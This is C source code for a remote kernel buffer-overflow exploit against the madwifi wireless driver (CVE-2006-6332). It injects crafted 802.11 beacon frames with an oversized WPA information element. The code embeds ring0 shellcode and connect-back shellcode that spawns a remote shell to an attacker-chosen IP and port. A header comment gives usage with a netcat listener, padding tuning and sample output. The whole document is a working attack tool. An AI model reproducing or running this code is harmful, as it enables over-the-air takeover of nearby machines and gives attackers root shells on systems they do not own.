/* ---- madwifi WPA/RSN IE remote kernel buffer overflow ------
* expoit code by: sgrakkyu <at> antifork.org -- 10/1/2007
*
* CVE: 2006-6332 (Laurent BUTTI, Jerome RAZNIEWSKI, Julien TINNES)
*
* (for wpa)
* ....
* memcpy(buf, se->se_wpa_ie, se->se_wpa_ie[1] + 2)
* ....
* ....
* the function re-uses args in the stack before returning so we
* can\'t trash them overwriting.
* Different compiled module [ex. different version of gcc] may require
* a different pad value.. (see -g option)
*
* ex:
* on one terminal runs: nc -l -p 31337
* phi:~/kexec/lorcon# gcc -g -o madwifi_exp madwifi_exp.c -lorcon
* phi:~/kexec/lorcon# wlanconfig ath1 create wlandev wifi0 wlanmode monitor
* phi:~/kexec/lorcon# ifconfig ath1 up
* phi:~/kexec/lorcon# ./madwifi_exp -i ath1 -d madwifing -a 10.0.0.1 -p 31337
* [opt-ip]: 10.0.0.1
* [opt-port]: 31337
* [opt-iface]: ath1
* [opt-driver]: madwifing
* [opt-jump]: 0xffffe777
* [pad]: 36
*
* [*][Low Avail Byte]: 103
* [*][High Avail Byte]: 47
* [*][u_code[] (high)size]: 91, [ring0_code[] (low)size]: 47
* [*][ patching jump ]: [eba7]
* [*][Payload space]: 192
* [*][beacon_frame-80211]=54
* [*][beacon_WPA_IE_lenght]: 198
*
* [printing frame - start]
* 80 00 00 00 ff ff ff ff ff ff cc cc cc cc cc cc
* cc cc cc cc cc cc 00 00 00 00 00 00 00 00 00 00
* 64 00 01 00 00 03 41 41 41 01 08 82 84 8b 96 0c
* 18 30 48 03 01 0b dd c6 00 50 f2 01 01 00 90 90
* 90 90 90 90 90 90 90 90 90 90 31 c0 89 c3 40 40
* ....
* ....
*
*
* Tuning option:
* - depending on gcc version/optimization we have to change the padding of vector
* payload, take a look to the following disassembly of the module wlan.o compiled
* with gcc-4.0 (kernel compiled for i586):
*
* 00015a49 <giwscan_cb>:
* 15a49: 55 push %ebp
* 15a4a: 57 push %edi
* 15a4b: 56 push %esi
* 15a4c: 53 push %ebx
* 15a4d: 81 ec c4 00 00 00 sub $0xbc,%esp <--16+188=[204]
* .........
* .........
* .........
* 15fc3: 8d 54 24 12 lea 0xa(%esp),%edx <-esp+[10]
* 15fc7: 89 d7 mov %edx,%edi
* ...
* ...
* 15fd5: f3 a5 rep movsl %ds:(%esi),%es:(%edi)
*
*
* this is not a rule, check gcc generated code to calculate correct pad value :
* [startbuf-ret] = (16 + 188 - 10) = 194 byte
* PAD = 194 - SHELLCODE_SPACE - IEWPAheader(code,len,oui) = 194 - 150 - 8 = 36
* ( -g 36 would be the choice in that case)
*
* NOTE: 1) the remote box must call the ioctl() SIOCGIWSCAN
* for ex. when the iface gets up or during iwlist iface scanning
* command
*
* 2) if you need more space for kernel mode code you can rely on
* struct ieee80211_scan_entry paramter of gwiscan_cb()
* function to access the real frame (a trivial joke)
*
* 3) i had no time to test this exploit on other boxes..:
* tested only on: Slackware 10 - madwifi 0.9.2
* Kubuntu - kernel 2.6.17 - madwifi 0.9.2
*
*
* TNX TNX TNX twiz <at> antifork.org
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <getopt.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <tx80211.h>
#include <tx80211_packet.h>
#include <linux/wireless.h>
#include <arpa/inet.h>
/* 2.6.17 VSYSCALL: for >= 2.6.18 without fixed-vsyscall entry use kernel hardcoded value */
#define VSYSCALL_JMP_ESP_OFFSET 0xffffe777
#define IE_ZERO 0x00000000
#define FIX_BYTE(base,offset,byte) *(((unsigned char*)base) + offset) = byte;
#define FIX_WORD(base,offset,word) *((unsigned short *)((unsigned char*)base + offset)) = word;
#define FIX_DWORD(base,offset,dword) *((unsigned int *)((unsigned char*)base + offset)) = dword;
/* shellcode max buffer */
/* 8 bytes used for lenght + oui */
#define SHELLCODE_SPACE 150
#define PAD_SPACE 36
#define PAYLOAD_SPACE (SHELLCODE_SPACE + pad_space + 4 + 2)
#define TOTAL_PACKET_LEN (sizeof(beacon_80211_wpa) -1 + PAYLOAD_SPACE)
/* exp option */
char *iface = NULL; /* needed */
char *driver = NULL; /* needed */
char *ip = NULL; /* needed */
short port = 0; /* needed */
unsigned int jmp_address = VSYSCALL_JMP_ESP_OFFSET;
unsigned int pad_space = PAD_SPACE;
/* ----------------------------------- */
#define SUB_OFFSET_PATCH 8
char ring0_code[]=
\"xe8x00x00x00x00\" //call 8048359 <main+0x21>
\"x5e\" //pop %esi
\"x81xeex88x00x00x00\" //sub $0x88,%esi /* PATCH */
\"x31xc0\" //xor %eax,%eax
\"xb0x04\" //mov $0x4,%al
\"x01xc4\" //add %eax,%esp
\"x83x3cx24x73\" //cmp $0x73,%esp
\"x75xf8\" //jne 8048364 <main+0x2c>
\"x83x7cx24x0cx7b\" //cmpl $0x7b,0xc(%esp)
\"x75xf1\" //jne 8048364 <main+0x2c>
\"x29xc4\" //sub %eax,%esp
\"x8bx7cx24x0c\" //mov 0xc(%esp),%edi
\"x89x3cx24\" //mov %edi,(%esp)
\"x31xc9\" //xor %ecx,%ecx
\"xb1x5b\" //mov $0x5b,%cl /* FIX */
\"xf3xa4\" //rep movsb %ds:(%esi),%es:(%edi)
\"xcf\"; //iret
/* connect back */
#define IP_OFFSET 35
#define PORT_OFFSET 44
char u_code[] =
\"x31xc0x89xc3x40x40xcdx80x39xc3x74x03x31xc0x40xcdx80\" /* fork */
\"x6ax66x58x99x6ax01x5bx52x53x6ax02x89xe1xcdx80x5bx5d\"
\"xbe\"
\"xf5xffxffxfe\" // ~ip
\"xf7xd6x56x66xbd\"
\"x69x7a\" // port
\"x0fxcdx09xddx55x43x6ax10x51x50xb0x66x89xe1xcdx80x87xd9\"
\"x5bxb0x3fxcdx80x49x79xf9xb0x0bx52x68x2fx2fx73x68\"
\"x68x2fx62x69x6ex89xe3x52x53xebxdf\";
/* 802.11header + WPA IE prolog */
#define WPA_LEN_OFFSET 55
#define CHANNEL 11
char beacon_80211_wpa[] =
\"x80\" // management frame / subtype beacon
\"x00\" // flags
\"x00x00\" // duration
\"xFFxFFxFFxFFxFFxFF\" // destination addr
\"xCCxCCxCCxCCxCCxCC\" // src address
\"xCCxCCxCCxCCxCCxCC\" // bbsid
\"x00x00\" // seq
\"x00x00x00x00x00x00x00x00\" // timestamp
\"x64x00\" // interval
\"x01x00\" // caps
\"x00x03x41x41x41\" // ssid Information Element
\"x01x08x82x84x8bx96x0cx18x30x48\" // rates Information Element
\"x03x01x0B\" // channel Information Element (11)
\"xddxc6\" // WPA Information Element (priv ID + len) (0xc6 = 0xc0 + 6) /* PATCH */
\"x00x50xf2x01x01x00\"; // oui + type + version (first 6 byte of len)
#define JUMP_OFFSET_PATCH 1
char jmp_back[]=\"xebx00\";
/* ----------------------------------- */
void usage(char *prog)
{
printf(\"[usage]: %s (-i iface) (-d drivername) (-a ip) (-p port) [-g pad] [-j jump_address]
\", prog);
}
unsigned char *build_frame()
{
int i,j;
char *frame = malloc(TOTAL_PACKET_LEN);
char *ptr = frame;
unsigned int hsb = sizeof(ring0_code)-1;
unsigned int lsb = SHELLCODE_SPACE - hsb;
printf(\"[*][low-kcode]: %d
[*][high-ucode]: %d
\",
lsb, hsb);
printf(\"[*][u_code[] (high)size]: %d, [ring0_code[] (low)size]: %d
\",
sizeof(u_code)-1, sizeof(ring0_code)-1);
/* fix jump */
int b = -4 - pad_space - (sizeof(jmp_back)-1) - (sizeof(ring0_code)-1);
FIX_BYTE(jmp_back, JUMP_OFFSET_PATCH, b);
/* fix ring0_code/u_code displacement */
unsigned int sub = 5 + (sizeof(u_code)-1);
FIX_BYTE(ring0_code, SUB_OFFSET_PATCH, sub);
printf(\"[*][payload space]: %d
\", PAYLOAD_SPACE);
/* fix beacon_80211_wpa: WPA len */
FIX_BYTE(beacon_80211_wpa, WPA_LEN_OFFSET, PAYLOAD_SPACE + 6);
printf(\"[*][beacon_WPA_IE_lenght]: %u
\",
(unsigned char)beacon_80211_wpa[WPA_LEN_OFFSET]);
/* fill frame */
memset(frame, 0x00, TOTAL_PACKET_LEN);
memcpy(ptr, beacon_80211_wpa, sizeof(beacon_80211_wpa)-1);
ptr += (sizeof(beacon_80211_wpa)-1);
memset(ptr, 0x90, lsb - (sizeof(u_code)-1));
ptr += (lsb - (sizeof(u_code)-1));
memcpy(ptr, u_code, sizeof(u_code) -1);
ptr += (sizeof(u_code) -1);
memcpy(ptr, ring0_code, sizeof(ring0_code)-1);
ptr += sizeof(ring0_code)-1;
for(i=0; i<pad_space; i+=4)
*((unsigned int *)(ptr + i)) = (IE_ZERO+(i/4));
ptr += pad_space;
*((unsigned int *)(ptr)) = jmp_address;
ptr += 4;
memcpy(ptr, jmp_back, sizeof(jmp_back)-1);
ptr += sizeof(jmp_back)-1;
return (unsigned char*)frame;
}
void print_frame(unsigned char *frame, unsigned int size)
{
int i;
printf(\"
[printing frame - start]
\");
for(i=1; i<=size; i++)
{
printf(\"%02x \", frame[i-1]);
if((i % 16) == 0)
printf(\"
\");
}
printf(\"
[printing frame - end]
\");
}
void parse_arg(int argc, char **argv)
{
int opt;
struct in_addr in;
while( (opt=getopt(argc, argv, \"j:i:a:p:d:g:\")) != EOF)
{
switch(opt)
{
case \'j\':
jmp_address = strtoll(optarg, NULL, 16);
break;
case \'a\':
ip = strdup(optarg);
inet_aton(ip, &in);
FIX_DWORD(u_code, IP_OFFSET, ~(in.s_addr));
break;
case \'p\':
port = atoi(optarg);
FIX_WORD(u_code, PORT_OFFSET, port);
break;
case \'d\':
driver = strdup(optarg);
break;
case \'i\':
iface = strdup(optarg);
break;
case \'g\':
pad_space = atoi(optarg);
break;
default:
usage(argv[0]);
exit(1);
}
}
}
int main(int argc, char *argv[])
{
int i=0;
struct tx80211 in_tx;
struct tx80211_packet in_packet;
int drivertype;
parse_arg(argc, argv);
if(!iface || !driver || !ip || !port)
{
usage(argv[0]);
exit(1);
}
printf( \"
Madwifi 0.9.2 WPA/RSN IE buffer overflow
exploit code: sgrakkyu <at> antifork.org
\"
\"-------------------- **** ------------------
\"
\"[opt-ip]: %s
[opt-port]: %d
[opt-iface]: %s
[opt-driver]: %s
[opt-jump]: 0x%08x
[pad]: %d
\"
\"-------------------- **** ------------------
\",
ip, port, iface, driver, jmp_address, pad_space);
unsigned char *frame = build_frame();
print_frame(frame, TOTAL_PACKET_LEN);
/* Use the command-line argument as the desired driver type */
drivertype = tx80211_resolvecard(driver);
/* Validate the driver name specified */
if (drivertype == INJ_NODRIVER)
{
fprintf(stderr, \"Driver name not recognized.
\");
return -1;
}
if (tx80211_init(&in_tx, iface, drivertype) < 0) {
fprintf(stderr, \"Error initializing drive \"%s\".
\", argv[1]);
return -1;
}
if ((tx80211_getcapabilities(&in_tx) & TX80211_CAP_CTRL) == 0)
{
fprintf(stderr, \"Driver does not support transmitting control frames.
\");
return -1;
}
if (tx80211_setchannel(&in_tx, CHANNEL) < 0)
{
fprintf(stderr, \"Error setting channel.
\");
return 1;
}
if (tx80211_open(&in_tx) < 0)
{
fprintf(stderr, \"Unable to open interface %s.
\", in_tx.ifname);
return 1;
}
/* Initialized in_packet with packet contents and length of the packet */
in_packet.packet = frame;
in_packet.plen = TOTAL_PACKET_LEN;
printf(\"[sending packets]: about 10 a second
\");
while(i < 10000)
{
/* Transmit the packet */
if (tx80211_txpacket(&in_tx, &in_packet) < 0)
{
fprintf(stderr, \"Unable to transmit packet.
\");
perror(\"txpacket\");
return 1;
}
i++;
usleep(100000);
}
/* Close the socket after transmitting the packet */
tx80211_close(&in_tx);
return 0;
}
暂无评论